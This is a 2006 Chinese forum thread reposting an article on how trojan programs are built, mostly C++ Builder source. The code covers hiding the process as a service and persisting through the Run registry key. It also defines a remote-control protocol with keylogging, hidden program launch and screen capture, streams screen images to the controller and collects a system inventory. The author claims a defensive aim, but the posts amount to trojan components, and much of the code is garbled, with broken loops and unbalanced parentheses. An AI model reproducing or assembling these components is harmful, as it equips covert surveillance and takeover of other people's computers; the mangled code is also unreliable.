免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3296 | 回复: 7
打印 上一主题 下一主题

[ZT]透视木马程序开发技术 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2006-08-18 23:23 |只看该作者 |倒序浏览
近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。 \r\n\r\n??1、木马程序的分类 \r\n\r\n??木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。 \r\n2.木马程序的隐藏技术 \r\n\r\n??木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。 \r\n\r\n??说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。 \r\n\r\n  进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。 \r\n线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

论坛徽章:
0
2 [报告]
发表于 2006-08-18 23:23 |只看该作者
  服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。 \r\n\r\n  想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。 \r\n\r\n  伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。 \r\n当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。 \r\n\r\n  出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。 \r\n\r\nWINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) \r\n{ \r\n    try \r\n    { \r\n    DWORD dwVersion = GetVersion();  //取得Windows的版本号 \r\n        if (dwVersion >= 0x80000000)  ? // Windows 9x隐藏任务列表 \r\n        { \r\n        ? int (CALLBACK *rsp)(DWORD,DWORD); \r\n        ?HINSTANCE dll=LoadLibrary(\"KERNEL32.DLL\";  //装入KERNEL32.DLL \r\n          rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,\"RegisterServiceProcess\";  //找到RegisterServiceProcess的入口 \r\n          rsp(NULL,1);  //注册服务 \r\n          FreeLibrary(dll);  //释放DLL模块 \r\n        } \r\n    } \r\n    catch (Exception &exception)  //处理异常事件 \r\n    { \r\n//处理异常事件 \r\n    } \r\n    return 0; \r\n}

论坛徽章:
0
3 [报告]
发表于 2006-08-18 23:24 |只看该作者
3、程序的自加载运行技术 \r\n\r\n  让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersions\\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersions\\Run键值来实现自启动的程序: \r\n\r\n  自装载部分: \r\n\r\nHKEY hkey; \r\nAnsiString NewProgramName=AnsiString(sys)+AnsiString(\"+PName/\">\\\\\"+PName \r\nunsigned long k; \r\nk=REG_OPENED_EXISTING_KEY; \r\nRegCreateKeyEx(HKEY_LOCAL_MACHINE, \r\n\"SOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUN\\\\\", \r\n0L, \r\nNULL, \r\nREG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE, \r\nNULL, \r\n&hkey,&k); \r\n RegSetValueEx(hkey, \r\n\"BackGroup\", \r\n0, \r\nREG_SZ, \r\nNewProgramName.c_str(), \r\nNewProgramName.Length()); \r\nRegCloseKey(hkey); \r\nif (int(ShellExecute(Handle, \r\n\"open\", \r\nNewProgramName.c_str(), \r\nNULL, \r\nNULL, \r\nSW_HIDE))>32) \r\n{ \r\n WantClose=true; \r\n        Close(); \r\n} \r\nelse \r\n{ \r\n    HKEY hkey; \r\n    unsigned long k; \r\n    k=REG_OPENED_EXISTING_KEY; \r\n    long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE, \r\n\"SOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUN\", \r\n0, \r\nNULL, \r\nREG_OPTION_NON_VOLATILE, \r\nKEY_SET_VALUE,NULL, \r\n&hkey,&k); \r\nRegSetValueEx(hkey, \r\n\"BackGroup\", \r\n0, \r\nREG_SZ, \r\nProgramName.c_str(), \r\nProgramName.Length()); \r\nint num=0; \r\nchar str[20]; \r\nDWORD lth=20; \r\nDWORD type; \r\nchar strv[255]; \r\nDWORD?vl=254; \r\nDWORD Suc; \r\ndo{ \r\nSuc=RegEnumValue(HKEY_LOCAL_MACHINE, \r\n(DWORD)num,str, \r\nNULL, \r\n&type, \r\nstrv,&vl); \r\nif (strcmp(str,\"BGroup\"==0) \r\n{ \r\n      ?DeleteFile(AnsiString(strv)); \r\n      ?RegDeleteValue(HKEY_LOCAL_MACHINE,\"BGroup\"; \r\n      ?break; \r\n  } \r\n\r\n}while(Suc== ERROR_SUCCESS); \r\nRegCloseKey(hkey); \r\n} \r\n\r\n自装载程序的卸载代码: \r\n\r\nint num; \r\nchar str2[20]; \r\nDWORD lth=20; \r\nDWORD type; \r\nchar strv[255]; \r\nDWORD?vl=254; \r\nDWORD Suc; \r\ndo{ \r\n    Suc=RegEnumValue(HKEY_LOCAL_MACHINE, \r\n(DWORD)num, \r\nstr, \r\nNULL, \r\n&type, \r\nstrv, \r\n&vl); \r\n      if (strcmp(str,\"BGroup\"==0) \r\n{ \r\n            DeleteFile(AnsiString(strv)); \r\n            RegDeleteValue(HKEY_LOCAL_MACHINE,\"BGroup\"; \r\n            break; \r\n      } \r\n}while(Suc== ERROR_SUCCESS) \r\n\r\nHKEY hkey; \r\nunsigned long k; \r\nk=REG_OPENED_EXISTING_KEY; \r\n RegCreateKeyEx(HKEY_LOCAL_MACHINE, \r\n\"SOFTWARE\\\\MICROSOFT\\\\WINDOWS\\\\CURRENTVERSION\\\\RUN\", \r\n0, \r\nNULL, \r\nREG_OPTION_NON_VOLATILE, \r\nKEY_SET_VALUE,NULL, \r\n&hkey, \r\n&k); \r\ndo{ \r\n    Suc=RegEnumValue(hkey,(DWORD)num,str,    if (strcmp(str,\"BackGroup\"==0) \r\n{ \r\n        DeleteFile(AnsiString(strv)); \r\n        RegDeleteValue(HKEY_LOCAL_MACHINE,\"BackGroup\"; \r\n        break; \r\n} \r\n}while(Suc== ERROR_SUCCESS) \r\nRegCloseKey(hkey); \r\n\r\n其中自装载部分使用C++ Builder可以这样写,会比较简化: \r\n\r\nTRegistry & regKey = *new TRegistry(); \r\nregKey.RootKey=HKEY_LOCAL_MACHINE; \r\nregKey.OpenKey(\"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",true); \r\nif(!regKey.ValueExists(\"Interbase Server\") \r\n{ \r\nregKey.WriteString(\"Interbase Server\", \r\n\"D:\\\\Program Files\\\\Borland\\\\IntrBase\\\\BIN\\\\ibserver.exe\"; \r\n} \r\nregKey.CloseKey(); \r\ndelete ®Key;

论坛徽章:
0
4 [报告]
发表于 2006-08-18 23:24 |只看该作者
4、木马程序的建立连接的隐藏 \r\n\r\n  木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。 \r\n\r\nC:\\Documents and Settings\\bigball>netstat -n \r\n\r\nActive Connections \r\n\r\n  Proto?Local Address?????Foreign Address????State \r\n  TCP??192.0.0.9:1032???? 64.4.13.48:1863????ESTABLISHED \r\n  TCP??192.0.0.9:1112???? 61.141.212.95:80??? ESTABLISHED \r\n  TCP??192.0.0.9:1135???? 202.130.239.223:80?? ESTABLISHED \r\n  TCP??192.0.0.9:1142???? 202.130.239.223:80?? ESTABLISHED \r\n  TCP??192.0.0.9:1162???? 192.0.0.8:139?????TIME_WAIT \r\n  TCP??192.0.0.9:1169???? 202.130.239.159:80?? ESTABLISHED \r\n  TCP??192.0.0.9:1170???? 202.130.239.133:80?? TIME_WAIT \r\n\r\nC:\\Documents and Settings\\bigball>netstat -a \r\n\r\nActive Connections \r\n\r\n  Proto?Local Address?????Foreign Address????State \r\n  TCP??Liumy:echo?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:discard?????Liumy:0????????LISTENING \r\n  TCP??Liumy:daytime?????Liumy:0????????LISTENING \r\n  TCP??Liumy:qotd?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:chargen?????Liumy:0????????LISTENING \r\n  TCP??Liumy:epmap??????Liumy:0????????LISTENING \r\n  TCP??Liumy:microsoft-ds?? Liumy:0????????LISTENING \r\n  TCP??Liumy:1025?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:1026?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:1031?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:1032?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:1112?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:1135?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:1142?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:1801?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:3372?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:3389?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:netbios-ssn???Liumy:0????????LISTENING \r\n  TCP??Liumy:1028?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:1032?????? msgr-ns19.msgr.hotmail.com:1863?ESTAB \r\n  TCP??Liumy:1112?????? szptt61.141.szptt.net.cn:http?ESTABLI \r\n  TCP??Liumy:1135?????? 202.130.239.223:http? ESTABLISHED \r\n  TCP??Liumy:1142?????? 202.130.239.223:http? ESTABLISHED \r\n  TCP??Liumy:1162?????? W3I:netbios-ssn????TIME_WAIT \r\n  TCP??Liumy:1170?????? 202.130.239.133:http? TIME_WAIT \r\n  TCP??Liumy:2103?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:2105?????? Liumy:0????????LISTENING \r\n  TCP??Liumy:2107?????? Liumy:0????????LISTENING \r\n  UDP??Liumy:echo?????? *:* \r\n  UDP??Liumy:discard?????*:* \r\n  UDP??Liumy:daytime?????*:* \r\n  UDP??Liumy:qotd?????? *:* \r\n  UDP??Liumy:chargen?????*:* \r\n  UDP??Liumy:epmap??????*:* \r\n  UDP??Liumy:snmp?????? *:* \r\n  UDP??Liumy:microsoft-ds?? *:* \r\n  UDP??Liumy:1027?????? *:* \r\n  UDP??Liumy:1029?????? *:* \r\n  UDP??Liumy:3527?????? *:* \r\n  UDP??Liumy:4000?????? *:* \r\n  UDP??Liumy:4001?????? *:* \r\n  UDP??Liumy:1033?????? *:* \r\n  UDP??Liumy:1148?????? *:* \r\n  UDP??Liumy:netbios-ns??? *:* \r\n  UDP??Liumy:netbios-dgm???*:* \r\n  UDP??Liumy:isakmp????? *:*

论坛徽章:
0
5 [报告]
发表于 2006-08-18 23:25 |只看该作者
但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示: \r\n\r\n\r\n\r\n\r\n网络层次结构图 \r\n\r\n  5、发送数据的组织方法 \r\n\r\n  关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议: \r\n\r\ntypedef struct{??? //定义消息结构 \r\n//char ip[20]; \r\nchar Type;??//消息种类 \r\nchar Password[20];??//密码 \r\nint CNum;?????//消息操作号 \r\n//int Length;??//消息长度 \r\n}Msg; \r\n#define MsgLen sizeof(Msg) \r\n//------------------------------------------- \r\n//对话框数据包定义:Dlg_Msg_Type.h \r\n//------------------------------------------- \r\n//定义如下消息类型: \r\n#define MsgDlgCommon 4//连接事件 \r\n#define MsgDlgSend 5//发送完成事件 \r\n//消息结构 \r\ntypedef struct{ \r\n ??? char Name[20];//对话框标题 \r\n ??? char Msg[256];//对话框消息内容 \r\n}MsgDlgUint; \r\n#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度 \r\n//------------------------------------------ \r\n//聊天数据包定义:Chat_Msg_Type.h \r\n//------------------------------------------ \r\n//定义如下消息类型: \r\n#define MsgChatCommon 0//连接事件 \r\n#define MsgChatConnect 1//接入事件 \r\n#define MsgChatEscept 2//结束事件 \r\n#define MsgChatReceived 16//确认对话内容收到 \r\n//消息结构 \r\ntypedef struct{ \r\n char ClientName[20];//Client自定义的名称 \r\n char Msg[256];//发送的消息 \r\n}MsgChatUint; \r\n#define MsgChatLen sizeof(MsgChatUint)//消息单元长度 \r\n\r\n//------------------------------------------ \r\n//重启数据包定义:Reboot_Msg_Type.h \r\n//------------------------------------------ \r\n//定义如下消息类型: \r\n#define MsgReBoot 15//重启事件 \r\n\r\n//------------------------------------------ \r\n//目录结构请求数据包定义:Dir_Msg_Type.h \r\n//------------------------------------------ \r\n//定义如下消息类型: \r\n#define MsgGetDirInfo 17 \r\n#define MsgReceiveGetDirInfo 18 \r\ntypedef struct{ \r\nchar Dir[4096];//你要的目录名 \r\n}MsgDirUint; \r\n#define MsgDirUintLen sizeof(MsgDirUint) \r\n\r\n// TCP的Msg \r\ntypedef struct{??? //定义消息结构 \r\nchar SType;??//消息种类 \r\nchar SPassword[20];??//密码 \r\n//int SNum;?????? //消息操作号 \r\nchar *AllMsg; \r\n}SMsg; \r\n#define SMsgLen sizeof(SMsg) \r\n\r\n#define MSGListProgram?19 \r\n#define MSGFlyMouse 21 \r\n#define MSGGoWithMouse 22 \r\n#define MSGSaveKey?23 \r\n#define MSGTracekey 24 \r\n#define MsgCopyScreen 25//tcp接收消息,udp请求消息 \r\n#define MSGCopyWindow 26 \r\n\r\n//------------------------- \r\n//鼠标指针隐藏和显示控制 \r\n//------------------------- \r\n#define MsgSetMouseStat 27//设置消息 \r\n#define MsgMouseStat 28//成功消息 \r\ntypedef struct{ \r\nbool mouseshow; \r\n}MsgSetMouseStatUint; \r\n#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint) \r\n\r\n//------------------------- \r\n//任务栏隐藏和显示控制 \r\n//------------------------- \r\n#define MsgSetTaskBarStat 29//设置消息 \r\n#define MsgTaskBarStat 30//成功消息 \r\ntypedef struct{ \r\nbool taskshow; \r\n}MsgSetTaskBarStatUint; \r\n#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint) \r\n\r\n//------------------------- \r\n//得到机器名 \r\n//------------------------- \r\n#define MsgGetNetBiosName 31//取请求 \r\n#define MsgNetBiosName 32//回送机器名 \r\ntypedef struct{ \r\nchar NetBiosName[128]; \r\n}MsgNetBiosNameUint; \r\n#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint) \r\n\r\n//------------------------- \r\n//关闭进程变更! \r\n//------------------------- \r\n#define MsgSetProgramClose 33//关闭请求 \r\n#define MsgProgramClosed 34//成功消息----- \r\ntypedef struct{ \r\nchar ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字 \r\n}MsgSetProgramCloseUint; \r\n#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint) \r\n\r\n//------------------------- \r\n//打开进程变更! \r\n//------------------------- \r\n#define MsgSetProgramOpen 20//打开请求 \r\n#define MsgProgramOpened 36//成功消息 \r\ntypedef struct{ \r\nchar ProgramName[4096];??? //old struct : char ProgramName[128];//要打开的程序的名字 \r\nbool ProgramShow;//前台运行或后台运行程序(隐藏运行) \r\n}MsgSetProgramOpenUint; \r\n#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint) \r\n\r\n#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

论坛徽章:
0
6 [报告]
发表于 2006-08-18 23:25 |只看该作者
 上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum?为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。 \r\n\r\n数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送: \r\n\r\n\r\nMsg *msg=new Msg; \r\nTMemoryStream *RData=new TMemoryStream; \r\nNMUDP1->ReadStream(RData); \r\nRData->Read(msg,sizeof(Msg)); \r\nUdpConnect *udpconnect=new UdpConnect; \r\nNetBiosName *netbiosname=new NetBiosName; \r\nif(msg->CNum==CNumBak) \r\nreturn; \r\nelse{ \r\nCNumBak=msg->CNum; \r\nswitch(msg->Type) \r\n{ \r\ncase 0://MsgUdpConnect \r\nRData->Read(udpconnect,sizeof(UdpConnect)); \r\ncheckuser(udpconnect->IsRight); \r\nbreak; \r\ncase 1: \r\nRData->Read(netbiosname,sizeof(NetBiosName)); \r\nAnsiString jqm=\"机器名 \"; \r\njqm+=(AnsiString)netbiosname->NetBiosName; \r\nMemo2->Lines->Add(jqm); \r\nbreak; \r\n} \r\n} \r\n\r\n??当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码: \r\n\r\nNMUDP1->RemoteHost=FromIP; \r\nNMUDP1->RemotePort=Port; \r\nTMemoryStream *RData=new TMemoryStream; \r\nNMUDP1->ReadStream(RData); \r\nMsg *msg=new Msg; \r\nRData->Read(msg,sizeof(Msg)); \r\nif(msg->CNum==CNumBak) \r\nreturn; \r\nelse \r\n{ \r\nCNumBak=msg->CNum; \r\nswitch(msg->Type) \r\n{ \r\ncase 0: \r\ncheckuser(msg->assword); \r\nbreak; \r\ncase 1: \r\nGetNetBiosName(); \r\nbreak; \r\ncase 2: \r\nCheckHard(); \r\nbreak; \r\n} \r\n} \r\n此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例: \r\n\r\n\r\n#define MAXXCount 10 //屏幕X方向最多分割块数 \r\n#define MAXYCount 5 //... Y................ \r\n#define DestNum 1000 //每块的偏移检测点最大个数 \r\nCOLORREF Colors[MAXXCount][MAXYCount][DestNum]; \r\nCOLORREF BakColors[MAXXCount]{MAXYCount][DestNum]; \r\nTPoint Dests[DestNum]; \r\nint Sw; \r\nint Sh; \r\nint xCount; \r\nint yCount; \r\nint ItemWidth; \r\nint ItemHeight; \r\nint Dnum; \r\nint Qlity; \r\n//得到消息后执行: \r\n//另外:接收到的数据包中分析出 Dnum ,Qlity \r\n//Dnum:偏移观测点数量 \r\n//Qlity:图象要求质量 \r\n__fastcall TForm1::CopyScreen(int DNum,int Qlity){ \r\nItemWidth=Sw/xCount; \r\nItemHeight=Sh/yCount; \r\nSw=Screen->Width; \r\nSh=Screen->Height; \r\nxCount=(Sw>1000)?8:6; \r\nyCount=(Sh>1000)?3:2; \r\nfor (int num1=0;num1 Dests[num1].x=random(ItemWidth); \r\nDests[num1].y=random(ItemHeight); \r\n} \r\nCatchScreen(DNum,Qlity); \r\n} \r\n//收到刷屏消息后只执行: \r\nCatchScreen(DNum,Qlity); \r\n__fastcall TForm1::CatchScreen(int DNum,int Qlity){ \r\n//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据 \r\n//DNum: 偏移量 Qlity:图象质量 \r\nHDC dc=GetDC(GetDesktopWindow()); \r\nGraphics::TBitmap *bm=new Graphics::TBitmap; \r\nbm->Width=Sw; \r\nbm->Height=Sh; \r\nBitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0); \r\nint num1,num2,num3; \r\nint nowx,nowy; \r\nbool Change; \r\nbool ItemChange[MAXXCount][MAXYCount]; \r\nfor (num1=0;num1 nowx=ItemWidth*num1; \r\nfor (num2=0;num2 nowy=ItemHeight*num2; \r\nChange=false; \r\nfor (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->ixels[nowx+Dests[num3].x][nowy+Dests[num3].y]; \r\nif (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){ \r\nBakColors[num1][num2][num3]=Colors[num1][num2][num3]; \r\nItemChange[num1][num2]=true; \r\n} \r\n} \r\n} \r\n} \r\nint CNum,MaxCNum; \r\nint ChangedNum=0; \r\nTRect *Rect; \r\nint num4; \r\nint MinSize=10000; \r\nint m; \r\nTRect MinRect; \r\nGraphics::TBitmap *bt2=new Graphics::TBitmap; \r\nTJPEGImage *j=new TJPEGImage; \r\n//************************ \r\nj->Quality=Qlity; \r\n//************************ \r\nCopyScreenUint CopyScreen; \r\nCopyScreenItemUint CopyScreenItem; \r\nTMemoryStream *ms=new TMemoryStream; \r\nms->Write(&TcpMsg,sizeof(TcpMsgUint)); \r\nms->Write(&CopyScreen,sizeof(CopyScreenUint)); \r\ndo{ \r\nfor (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){ \r\nMaxCNum=0; \r\nfor (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形 \r\nCNum=GetChangedNum(TRect(num1,num2,num3,num4)); \r\nif (CNum>MaxCNum) MaxCNum=CNum; \r\nm=(num3-num1)*(num4-num2); \r\nif (2*m-CNum MinSize=2*m-CNum; \r\nMinRect=TRect(num1,num2,num3,num4); \r\n} \r\n} \r\n} \r\nTMemoryStream *ms; \r\nBitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0); \r\nj->Assign(bt2); \r\nj->SaveToStream(ms2); \r\nCopyScreenItem.Rect=TRect(num1,num2,num3,num4); \r\nCopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1 \r\nms2->osition=0; \r\nCopyScreenItem.Length=ms2->Size; \r\nms->Write(&CopyScreenItem,sizeof(ScreenItemUint)); \r\nms->CopyFrom(ms2,ms2->Size); \r\nChangedNum++; \r\n}while(MaxCNum>0); \r\nTcpMsg.Type=MsgCopyScreen; \r\nms->osition=0; \r\nTcpMsg.Length=ms->Size-sizeof(TcpMsgUint); \r\nCopyScreen.Count=ChangedNum; \r\nms->Write(&TcpMsg,sizeof(TcpMsgUint)); \r\nms->Write(&CopyScreen,sizeof(CopyScreenUInt)); \r\nms->osition=0; \r\nsock->SendStream(ms); \r\n} \r\n\r\n  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。

论坛徽章:
0
7 [报告]
发表于 2006-08-18 23:26 |只看该作者
6、目标机器情况的获取 \r\n\r\n  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。 \r\n\r\nAnsiString cs; \r\nFILE *fp; \r\nfp=fopen(\"temp.had\",\"w+\"; \r\n    //TODO: Add your source code here \r\n    //获得CPU型号 \r\nSYSTEM_INFO systeminfo; \r\nGetSystemInfo (&systeminfo); \r\ncs=\"CPU类型是:\"+String(systeminfo.dwProcessorType)+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\nMEMORYSTATUS memory; \r\nmemory.dwLength =sizeof(memory); //初始化 \r\nGlobalMemoryStatus(&memory); \r\ncs=\"物理内存是(Mb):\"+String(int(memory.dwTotalPhys /1024/1024))+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\ncs=\"可用内存是(Kb):\"+String(int( memory.dwAvailPhys/1024))+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\nDWORD sector,byte,cluster,free; \r\nlong int freespace,totalspace; \r\nUINT type; \r\nchar name; \r\n//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、 \r\n//5—CD-ROM、6—内存虚拟盘 \r\nchar volname[255],filename[100];//buffer[512]; \r\nDWORD sno,maxl,fileflag ; \r\nfor (name=‘A‘;name<=‘Z‘;name++)?{//循环检测A~Z \r\n    type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型 \r\n    if(type==0){ \r\n        cs=\"未知类型磁盘:\"+String(name)+\"\\n\"; \r\n        fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        } \r\n    else if(type==2){ \r\n        cs=\"可移动类型磁盘:\"+String(name)+\"\\n\"; \r\n        fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        } \r\n    else if(type==3){ \r\n        cs=\"固定磁盘:\"+String(name)+\"\\n\"; \r\n        fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        } \r\n    else if(type==4)  ? { \r\n        cs=\"网络映射磁盘:\"+String(name)+\"\\n\"; \r\n        fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        } \r\n    else if (type==5)    { \r\n        cs=\"光驱:\"+String(name)+\"\\n\"; \r\n        fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        } \r\n    else if (type==6)    { \r\n        cs=\"内存虚拟磁盘:\"+String(name)+\"\\n\"; \r\n        fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        } \r\nif(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))    { \r\n        cs=String(name)+\"盘卷标为:\"+String(volname)+\"\\n\"; \r\n        fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        cs=String(name)+\"盘序号为:\"+String(sno)+\"\\n\"; \r\n        fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数 \r\n        totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量 \r\n        freespace=int(free)*byte*sector/1024/1024; //计算可用空间 \r\n        cs=String(name)+String(‘:‘)+\"盘总空间(Mb):\"+AnsiString(totalspace)+\"\\n\"; \r\n        fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        cs=String(name)+String(‘:‘)+\"盘可用空间(Mb):\"+AnsiString(freespace)+\"\\n\"; \r\n        